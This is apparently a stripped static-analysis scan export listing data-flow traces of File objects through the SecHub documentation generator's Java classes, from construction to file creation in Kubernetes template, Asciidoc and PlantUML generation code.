File(kubernetesSecretFolder, e.folderName()); + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 156 + 8 + 2 + envFolder + + 9 + + + 156 + File envFolder = new File(kubernetesSecretFolder, e.folderName()); + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 157 + 8 + 3 + envFolder + + 9 + + + 157 + if (!envFolder.exists()) { + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 161 + 10 + 4 + envFolder + + 9 + + + 161 + return envFolder; + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 149 + 35 + 5 + ensureEnvFolder + + 1 + + + 149 + File envFolder = ensureEnvFolder(e); + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 149 + 8 + 6 + envFolder + + 9 + + + 149 + File envFolder = ensureEnvFolder(e); + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 150 + 43 + 7 + envFolder + + 9 + + + 150 + createSecretShellScriptAndFiles(result, envFolder, e); + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 164 + 76 + 8 + targetFolder + + 12 + + + 164 + private void createSecretShellScriptAndFiles(KubernetesFiles result, File targetFolder, KubernetesEnvironment e) + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 192 + 22 + 9 + targetFolder + + 12 + + + 192 + ensureSecretFile(targetFolder, fileName); + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 249 + 37 + 10 + targetFolder + + 12 + + + 249 + private void ensureSecretFile(File targetFolder, String fileName) throws IOException { + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 250 + 30 + 11 + targetFolder + + 12 + + + 250 + File secretFile = new File(targetFolder, fileName); + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 250 + 8 + 12 + secretFile + + 10 + + + 250 + File secretFile = new File(targetFolder, fileName); + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 251 + 8 + 13 + secretFile + + 10 + + + 251 + if (!secretFile.exists()) { + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 252 + 9 + 14 + secretFile + + 10 + + + 252 + if (!secretFile.createNewFile()) { + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 252 + 33 + 15 + createNewFile + + 1 + + + 252 + if (!secretFile.createNewFile()) { + + + + + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 156 + 20 + 1 + File + + 3 + + + 156 + File envFolder = new File(kubernetesSecretFolder, e.folderName()); + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 156 + 8 + 2 + envFolder + + 9 + + + 156 + File envFolder = new File(kubernetesSecretFolder, e.folderName()); + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 157 + 8 + 3 + envFolder + + 9 + + + 157 + if (!envFolder.exists()) { + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 161 + 10 + 4 + envFolder + + 9 + + + 161 + return envFolder; + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 149 + 35 + 5 + ensureEnvFolder + + 1 + + + 149 + File envFolder = ensureEnvFolder(e); + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 149 + 8 + 6 + envFolder + + 9 + + + 149 + File envFolder = ensureEnvFolder(e); + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 150 + 43 + 7 + envFolder + + 9 + + + 150 + createSecretShellScriptAndFiles(result, envFolder, e); + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 164 + 76 + 8 + targetFolder + + 12 + + + 164 + private void createSecretShellScriptAndFiles(KubernetesFiles result, File targetFolder, KubernetesEnvironment e) + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 218 + 30 + 9 + targetFolder + + 12 + + + 218 + File targetFile = new File(targetFolder, createShellScriptName("all")); + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 218 + 8 + 10 + targetFile + + 10 + + + 218 + File targetFile = new File(targetFolder, createShellScriptName("all")); + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 219 + 15 + 11 + targetFile + + 10 + + + 219 + writer.save(targetFile, sb.toString(), true); + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/util/TextFileWriter.java + 18 + 24 + 12 + targetFile + + 10 + + + 18 + public void save(File targetFile, String text, boolean overwrite) throws IOException { + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/util/TextFileWriter.java + 22 + 7 + 13 + targetFile + + 10 + + + 22 + if (targetFile.exists() && overwrite) { + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/util/TextFileWriter.java + 29 + 8 + 14 + targetFile + + 10 + + + 29 + if (!targetFile.exists()) { + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/util/TextFileWriter.java + 30 + 22 + 15 + targetFile + + 10 + + + 30 + File parentFile = targetFile.getParentFile(); + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/util/TextFileWriter.java + 34 + 9 + 16 + targetFile + + 10 + + + 34 + if (!targetFile.createNewFile()) { + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/util/TextFileWriter.java + 34 + 33 + 17 + createNewFile + + 1 + + + 34 + if (!targetFile.createNewFile()) { + + + + + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 250 + 21 + 1 + File + + 3 + + + 250 + File secretFile = new File(targetFolder, fileName); + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 250 + 8 + 2 + secretFile + + 10 + + + 250 + File secretFile = new File(targetFolder, fileName); + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 251 + 8 + 3 + secretFile + + 10 + + + 251 + if (!secretFile.exists()) { + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 252 + 9 + 4 + secretFile + + 10 + + + 252 + if (!secretFile.createNewFile()) { + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 252 + 33 + 5 + createNewFile + + 1 + + + 252 + if (!secretFile.createNewFile()) { + + + + + + + + + sechub-doc/src/test/java/com/daimler/sechub/docgen/AsciidocGeneratorTest.java + 77 + 21 + 1 + File + + 3 + + + 77 + File targetFile = new File("outputfile"); + + + + + sechub-doc/src/test/java/com/daimler/sechub/docgen/AsciidocGeneratorTest.java + 77 + 8 + 2 + targetFile + + 10 + + + 77 + File targetFile = new File("outputfile"); + + + + + sechub-doc/src/test/java/com/daimler/sechub/docgen/AsciidocGeneratorTest.java + 80 + 47 + 3 + targetFile + + 10 + + + 80 + generatorToTest.generateScheduleDescription(targetFile); + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/AsciidocGenerator.java + 120 + 47 + 4 + targetFile + + 10 + + + 120 + public void generateScheduleDescription(File targetFile) throws IOException { + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/AsciidocGenerator.java + 122 + 15 + 5 + targetFile + + 10 + + + 122 + writer.save(targetFile, text); + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/util/TextFileWriter.java + 15 + 24 + 6 + targetFile + + 10 + + + 15 + public void save(File targetFile, String text) throws IOException { + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/util/TextFileWriter.java + 16 + 8 + 7 + targetFile + + 10 + + + 16 + save(targetFile,text,true); + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/util/TextFileWriter.java + 18 + 24 + 8 + targetFile + + 10 + + + 18 + public void save(File targetFile, String text, boolean overwrite) throws IOException { + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/util/TextFileWriter.java + 22 + 7 + 9 + targetFile + + 10 + + + 22 + if (targetFile.exists() && overwrite) { + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/util/TextFileWriter.java + 29 + 8 + 10 + targetFile + + 10 + + + 29 + if (!targetFile.exists()) { + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/util/TextFileWriter.java + 30 + 22 + 11 + targetFile + + 10 + + + 30 + File parentFile = targetFile.getParentFile(); + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/util/TextFileWriter.java + 34 + 9 + 12 + targetFile + + 10 + + + 34 + if (!targetFile.createNewFile()) { + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/util/TextFileWriter.java + 34 + 33 + 13 + createNewFile + + 1 + + + 34 + if (!targetFile.createNewFile()) { + + + + + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/AsciidocGenerator.java + 34 + 29 + 1 + File + + 3 + + + 34 + File documentsGenFolder = new File(path); + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/AsciidocGenerator.java + 34 + 8 + 2 + documentsGenFolder + + 18 + + + 34 + File documentsGenFolder = new File(path); + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/AsciidocGenerator.java + 35 + 26 + 3 + documentsGenFolder + + 18 + + + 35 + File documentsFolder = documentsGenFolder.getParentFile(); + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/AsciidocGenerator.java + 56 + 34 + 4 + documentsGenFolder + + 18 + + + 56 + generator.generateUseCaseFiles(documentsGenFolder); + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/AsciidocGenerator.java + 64 + 41 + 5 + documentsGenFolder + + 18 + + + 64 + private void generateUseCaseFiles(File documentsGenFolder) throws IOException { + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/AsciidocGenerator.java + 70 + 30 + 6 + documentsGenFolder + + 18 + + + 70 + File targetFile = new File(documentsGenFolder, "gen_usecases.adoc"); + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/AsciidocGenerator.java + 70 + 8 + 7 + targetFile + + 10 + + + 70 + File targetFile = new File(documentsGenFolder, "gen_usecases.adoc"); + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/AsciidocGenerator.java + 71 + 15 + 8 + targetFile + + 10 + + + 71 + writer.save(targetFile, useCaseAsciidoc); + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/util/TextFileWriter.java + 15 + 24 + 9 + targetFile + + 10 + + + 15 + public void save(File targetFile, String text) throws IOException { + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/util/TextFileWriter.java + 16 + 8 + 10 + targetFile + + 10 + + + 16 + save(targetFile,text,true); + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/util/TextFileWriter.java + 18 + 24 + 11 + targetFile + + 10 + + + 18 + public void save(File targetFile, String text, boolean overwrite) throws IOException { + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/util/TextFileWriter.java + 22 + 7 + 12 + targetFile + + 10 + + + 22 + if (targetFile.exists() && overwrite) { + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/util/TextFileWriter.java + 29 + 8 + 13 + targetFile + + 10 + + + 29 + if (!targetFile.exists()) { + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/util/TextFileWriter.java + 30 + 22 + 14 + targetFile + + 10 + + + 30 + File parentFile = targetFile.getParentFile(); + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/util/TextFileWriter.java + 34 + 9 + 15 + targetFile + + 10 + + + 34 + if (!targetFile.createNewFile()) { + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/util/TextFileWriter.java + 34 + 33 + 16 + createNewFile + + 1 + + + 34 + if (!targetFile.createNewFile()) { + + + + + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/AsciidocGenerator.java + 89 + 10 + 1 + File + + 3 + + + 89 + return new File(genFolder, "gen_scheduling.adoc"); + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/AsciidocGenerator.java + 41 + 69 + 2 + createScheduleDescriptionTargetFile + + 1 + + + 41 + File scheduleDescriptionFile = createScheduleDescriptionTargetFile(documentsGenFolder); + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/AsciidocGenerator.java + 41 + 8 + 3 + scheduleDescriptionFile + + 23 + + + 41 + File scheduleDescriptionFile = createScheduleDescriptionTargetFile(documentsGenFolder); + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/AsciidocGenerator.java + 50 + 41 + 4 + scheduleDescriptionFile + + 23 + + + 50 + generator.generateScheduleDescription(scheduleDescriptionFile); + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/AsciidocGenerator.java + 120 + 47 + 5 + targetFile + + 10 + + + 120 + public void generateScheduleDescription(File targetFile) throws IOException { + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/AsciidocGenerator.java + 122 + 15 + 6 + targetFile + + 10 + + + 122 + writer.save(targetFile, text); + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/util/TextFileWriter.java + 15 + 24 + 7 + targetFile + + 10 + + + 15 + public void save(File targetFile, String text) throws IOException { + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/util/TextFileWriter.java + 16 + 8 + 8 + targetFile + + 10 + + + 16 + save(targetFile,text,true); + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/util/TextFileWriter.java + 18 + 24 + 9 + targetFile + + 10 + + + 18 + public void save(File targetFile, String text, boolean overwrite) throws IOException { + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/util/TextFileWriter.java + 22 + 7 + 10 + targetFile + + 10 + + + 22 + if (targetFile.exists() && overwrite) { + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/util/TextFileWriter.java + 29 + 8 + 11 + targetFile + + 10 + + + 29 + if (!targetFile.exists()) { + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/util/TextFileWriter.java + 30 + 22 + 12 + targetFile + + 10 + + + 30 + File parentFile = targetFile.getParentFile(); + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/util/TextFileWriter.java + 34 + 9 + 13 + targetFile + + 10 + + + 34 + if (!targetFile.createNewFile()) { + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/util/TextFileWriter.java + 34 + 33 + 14 + createNewFile + + 1 + + + 34 + if (!targetFile.createNewFile()) { + + + + + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/AsciidocGenerator.java + 93 + 10 + 1 + File + + 3 + + + 93 + return new File(genFolder, "gen_systemproperties.adoc"); + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/AsciidocGenerator.java + 40 + 60 + 2 + createSystemProperyTargetFile + + 1 + + + 40 + File systemProperitesFile = createSystemProperyTargetFile(documentsGenFolder); + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/AsciidocGenerator.java + 40 + 8 + 3 + systemProperitesFile + + 20 + + + 40 + File systemProperitesFile = createSystemProperyTargetFile(documentsGenFolder); + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/AsciidocGenerator.java + 48 + 49 + 4 + systemProperitesFile + + 20 + + + 48 + generator.generateSystemPropertiesDescription(systemProperitesFile); + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/AsciidocGenerator.java + 115 + 55 + 5 + targetFile + + 10 + + + 115 + public void generateSystemPropertiesDescription(File targetFile) throws IOException { + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/AsciidocGenerator.java + 117 + 15 + 6 + targetFile + + 10 + + + 117 + writer.save(targetFile, text); + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/util/TextFileWriter.java + 15 + 24 + 7 + targetFile + + 10 + + + 15 + public void save(File targetFile, String text) throws IOException { + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/util/TextFileWriter.java + 16 + 8 + 8 + targetFile + + 10 + + + 16 + save(targetFile,text,true); + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/util/TextFileWriter.java + 18 + 24 + 9 + targetFile + + 10 + + + 18 + public void save(File targetFile, String text, boolean overwrite) throws IOException { + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/util/TextFileWriter.java + 22 + 7 + 10 + targetFile + + 10 + + + 22 + if (targetFile.exists() && overwrite) { + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/util/TextFileWriter.java + 29 + 8 + 11 + targetFile + + 10 + + + 29 + if (!targetFile.exists()) { + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/util/TextFileWriter.java + 30 + 22 + 12 + targetFile + + 10 + + + 30 + File parentFile = targetFile.getParentFile(); + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/util/TextFileWriter.java + 34 + 9 + 13 + targetFile + + 10 + + + 34 + if (!targetFile.createNewFile()) { + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/util/TextFileWriter.java + 34 + 33 + 14 + createNewFile + + 1 + + + 34 + if (!targetFile.createNewFile()) { + + + + + + + + + sechub-doc/src/test/java/com/daimler/sechub/docgen/AsciidocGeneratorTest.java + 62 + 21 + 1 + File + + 3 + + + 62 + File targetFile = new File("outputfile"); + + + + + sechub-doc/src/test/java/com/daimler/sechub/docgen/AsciidocGeneratorTest.java + 62 + 8 + 2 + targetFile + + 10 + + + 62 + File targetFile = new File("outputfile"); + + + + + sechub-doc/src/test/java/com/daimler/sechub/docgen/AsciidocGeneratorTest.java + 65 + 55 + 3 + targetFile + + 10 + + + 65 + generatorToTest.generateSystemPropertiesDescription(targetFile); + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/AsciidocGenerator.java + 115 + 55 + 4 + targetFile + + 10 + + + 115 + public void generateSystemPropertiesDescription(File targetFile) throws IOException { + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/AsciidocGenerator.java + 117 + 15 + 5 + targetFile + + 10 + + + 117 + writer.save(targetFile, text); + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/util/TextFileWriter.java + 15 + 24 + 6 + targetFile + + 10 + + + 15 + public void save(File targetFile, String text) throws IOException { + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/util/TextFileWriter.java + 16 + 8 + 7 + targetFile + + 10 + + + 16 + save(targetFile,text,true); + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/util/TextFileWriter.java + 18 + 24 + 8 + targetFile + + 10 + + + 18 + public void save(File targetFile, String text, boolean overwrite) throws IOException { + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/util/TextFileWriter.java + 22 + 7 + 9 + targetFile + + 10 + + + 22 + if (targetFile.exists() && overwrite) { + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/util/TextFileWriter.java + 29 + 8 + 10 + targetFile + + 10 + + + 29 + if (!targetFile.exists()) { + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/util/TextFileWriter.java + 30 + 22 + 11 + targetFile + + 10 + + + 30 + File parentFile = targetFile.getParentFile(); + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/util/TextFileWriter.java + 34 + 9 + 12 + targetFile + + 10 + + + 34 + if (!targetFile.createNewFile()) { + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/util/TextFileWriter.java + 34 + 33 + 13 + createNewFile + + 1 + + + 34 + if (!targetFile.createNewFile()) { + + + + + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/AsciidocGenerator.java + 101 + 10 + 1 + File + + 3 + + + 101 + return new File(genFolder, "gen_mockadapterproperties.adoc"); + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/AsciidocGenerator.java + 42 + 91 + 2 + createSpecialMockConfigurationPropertiesTargetFile + + 1 + + + 42 + File specialMockValuePropertiesFile = createSpecialMockConfigurationPropertiesTargetFile(documentsGenFolder); + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/AsciidocGenerator.java + 42 + 8 + 3 + specialMockValuePropertiesFile + + 30 + + + 42 + File specialMockValuePropertiesFile = createSpecialMockConfigurationPropertiesTargetFile(documentsGenFolder); + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/AsciidocGenerator.java + 52 + 47 + 4 + specialMockValuePropertiesFile + + 30 + + + 52 + generator.generateMockPropertiesDescription(specialMockValuePropertiesFile); + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/AsciidocGenerator.java + 125 + 54 + 5 + targetFile + + 10 + + + 125 + private void generateMockPropertiesDescription(File targetFile) throws IOException { + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/AsciidocGenerator.java + 127 + 15 + 6 + targetFile + + 10 + + + 127 + writer.save(targetFile, text); + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/util/TextFileWriter.java + 15 + 24 + 7 + targetFile + + 10 + + + 15 + public void save(File targetFile, String text) throws IOException { + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/util/TextFileWriter.java + 16 + 8 + 8 + targetFile + + 10 + + + 16 + save(targetFile,text,true); + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/util/TextFileWriter.java + 18 + 24 + 9 + targetFile + + 10 + + + 18 + public void save(File targetFile, String text, boolean overwrite) throws IOException { + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/util/TextFileWriter.java + 22 + 7 + 10 + targetFile + + 10 + + + 22 + if (targetFile.exists() && overwrite) { + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/util/TextFileWriter.java + 29 + 8 + 11 + targetFile + + 10 + + + 29 + if (!targetFile.exists()) { + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/util/TextFileWriter.java + 30 + 22 + 12 + targetFile + + 10 + + + 30 + File parentFile = targetFile.getParentFile(); + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/util/TextFileWriter.java + 34 + 9 + 13 + targetFile + + 10 + + + 34 + if (!targetFile.createNewFile()) { + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/util/TextFileWriter.java + 34 + 33 + 14 + createNewFile + + 1 + + + 34 + if (!targetFile.createNewFile()) { + + + + + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/AsciidocGenerator.java + 36 + 25 + 1 + File + + 3 + + + 36 + File diagramsFolder = new File(documentsFolder.getParentFile(), "diagrams"); + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/AsciidocGenerator.java + 36 + 8 + 2 + diagramsFolder + + 14 + + + 36 + File diagramsFolder = new File(documentsFolder.getParentFile(), "diagrams"); + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/AsciidocGenerator.java + 37 + 37 + 3 + diagramsFolder + + 14 + + + 37 + File diagramsGenFolder = new File(diagramsFolder, "gen"); + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/AsciidocGenerator.java + 37 + 8 + 4 + diagramsGenFolder + + 17 + + + 37 + File diagramsGenFolder = new File(diagramsFolder, "gen"); + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/AsciidocGenerator.java + 55 + 51 + 5 + diagramsGenFolder + + 17 + + + 55 + generator.generateMessagingFiles(messagingFile, diagramsGenFolder); + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/AsciidocGenerator.java + 59 + 63 + 6 + diagramsGenFolder + + 17 + + + 59 + private void generateMessagingFiles(File messagingFile, File diagramsGenFolder) throws IOException { + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/AsciidocGenerator.java + 61 + 71 + 7 + diagramsGenFolder + + 17 + + + 61 + domainMessagingFilesGenerator.generateMessagingFiles(messagingFile, diagramsGenFolder, model); + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/messaging/DomainMessagingFilesGenerator.java + 23 + 62 + 8 + diagramsGenFolder + + 17 + + + 23 + public void generateMessagingFiles(File messagingFile, File diagramsGenFolder, DomainMessagingModel model + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/messaging/DomainMessagingFilesGenerator.java + 27 + 33 + 9 + diagramsGenFolder + + 17 + + + 27 + generateMessagingPlantumlFile(diagramsGenFolder, reducedModelForOverview, "__Overview__ of domain **messaging** ", + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/messaging/DomainMessagingFilesGenerator.java + 71 + 50 + 10 + diagramsGenFolder + + 17 + + + 71 + private void generateMessagingPlantumlFile(File diagramsGenFolder, DomainMessagingModel model, String title, + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/messaging/DomainMessagingFilesGenerator.java + 74 + 30 + 11 + diagramsGenFolder + + 17 + + + 74 + File targetFile = new File(diagramsGenFolder, targetFileName); + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/messaging/DomainMessagingFilesGenerator.java + 74 + 8 + 12 + targetFile + + 10 + + + 74 + File targetFile = new File(diagramsGenFolder, targetFileName); + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/messaging/DomainMessagingFilesGenerator.java + 75 + 15 + 13 + targetFile + + 10 + + + 75 + writer.save(targetFile, generatedPlantuml); + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/util/TextFileWriter.java + 15 + 24 + 14 + targetFile + + 10 + + + 15 + public void save(File targetFile, String text) throws IOException { + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/util/TextFileWriter.java + 16 + 8 + 15 + targetFile + + 10 + + + 16 + save(targetFile,text,true); + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/util/TextFileWriter.java + 18 + 24 + 16 + targetFile + + 10 + + + 18 + public void save(File targetFile, String text, boolean overwrite) throws IOException { + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/util/TextFileWriter.java + 22 + 7 + 17 + targetFile + + 10 + + + 22 + if (targetFile.exists() && overwrite) { + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/util/TextFileWriter.java + 29 + 8 + 18 + targetFile + + 10 + + + 29 + if (!targetFile.exists()) { + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/util/TextFileWriter.java + 30 + 22 + 19 + targetFile + + 10 + + + 30 + File parentFile = targetFile.getParentFile(); + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/util/TextFileWriter.java + 34 + 9 + 20 + targetFile + + 10 + + + 34 + if (!targetFile.createNewFile()) { + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/util/TextFileWriter.java + 34 + 33 + 21 + createNewFile + + 1 + + + 34 + if (!targetFile.createNewFile()) { + + + + + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/AsciidocGenerator.java + 37 + 28 + 1 + File + + 3 + + + 37 + File diagramsGenFolder = new File(diagramsFolder, "gen"); + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/AsciidocGenerator.java + 37 + 8 + 2 + diagramsGenFolder + + 17 + + + 37 + File diagramsGenFolder = new File(diagramsFolder, "gen"); + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/AsciidocGenerator.java + 55 + 51 + 3 + diagramsGenFolder + + 17 + + + 55 + generator.generateMessagingFiles(messagingFile, diagramsGenFolder); + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/AsciidocGenerator.java + 59 + 63 + 4 + diagramsGenFolder + + 17 + + + 59 + private void generateMessagingFiles(File messagingFile, File diagramsGenFolder) throws IOException { + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/AsciidocGenerator.java + 61 + 71 + 5 + diagramsGenFolder + + 17 + + + 61 + domainMessagingFilesGenerator.generateMessagingFiles(messagingFile, diagramsGenFolder, model); + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/messaging/DomainMessagingFilesGenerator.java + 23 + 62 + 6 + diagramsGenFolder + + 17 + + + 23 + public void generateMessagingFiles(File messagingFile, File diagramsGenFolder, DomainMessagingModel model + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/messaging/DomainMessagingFilesGenerator.java + 27 + 33 + 7 + diagramsGenFolder + + 17 + + + 27 + generateMessagingPlantumlFile(diagramsGenFolder, reducedModelForOverview, "__Overview__ of domain **messaging** ", + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/messaging/DomainMessagingFilesGenerator.java + 71 + 50 + 8 + diagramsGenFolder + + 17 + + + 71 + private void generateMessagingPlantumlFile(File diagramsGenFolder, DomainMessagingModel model, String title, + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/messaging/DomainMessagingFilesGenerator.java + 74 + 30 + 9 + diagramsGenFolder + + 17 + + + 74 + File targetFile = new File(diagramsGenFolder, targetFileName); + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/messaging/DomainMessagingFilesGenerator.java + 74 + 8 + 10 + targetFile + + 10 + + + 74 + File targetFile = new File(diagramsGenFolder, targetFileName); + + + + + 